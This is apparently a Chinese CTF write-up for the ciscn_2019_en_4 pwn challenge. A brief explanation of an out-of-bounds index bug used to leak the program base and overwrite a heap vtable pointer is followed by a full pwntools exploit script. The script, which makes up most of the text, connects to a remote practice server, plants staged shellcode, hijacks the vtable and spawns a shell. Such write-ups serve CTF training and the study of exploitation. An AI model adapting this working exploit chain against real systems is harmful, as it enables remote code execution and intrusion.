0%

ciscn_2019_en_4

首先检查一下程序的保护机制

然后,我们用IDA分析一下,主函数里的功能通过对应index的虚表调用,虚表存在在堆里。

Edit功能存在下标溢出,因此可以向上溢出修改虚表指针。

Show功能同理存在溢出,可以读取原来的虚表地址,进而计算出程序的基址。

进而计算出堆指针存放的地址,我们将堆指针的地址-0x18作为虚表地址,这样,当我们再次调用功能1的时候,就会执行heap0。利用8字节shellcode,构造一个read系统调用来输入shellcode主体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./ciscn_2019_en_4')
sh = remote('node3.buuoj.cn',29251)
elf = ELF('./ciscn_2019_en_4')

def add(size):
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('Money makes you stronger:',str(size))

def edit(index,content):
sh.sendlineafter('Your choice:','3')
sh.sendlineafter('change Weapon id:',str(index))
sh.sendafter('new Name:',content)

def show(index):
sh.sendlineafter('Your choice:','4')
sh.sendlineafter('Which Weapon do you want to show?',str(index))

add(1)
#布置shellcode,最多8字节,我们构造一个read调用来输入主shellcode
shellcode = asm('''cdq
xor eax,eax
xchg rsi,rdi
syscall
''')
edit(0,shellcode)

show(-1)
sh.recvuntil('Weapon name is:')
elf_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x203DB8
heap_ptr_addr = elf_base + 0x204088
print 'elf_base=',hex(elf_base)
print 'heap_ptr_addr=',hex(heap_ptr_addr)
#修改虚表
edit(-1,p64(heap_ptr_addr - 0x18))
#触发前面布置的shellcode
sh.sendlineafter('Your choice:','1')
#发送主shellcode
sleep(1)
payload = 'a'*0x14 + asm(shellcraft.sh())
sh.send(payload)

sh.interactive()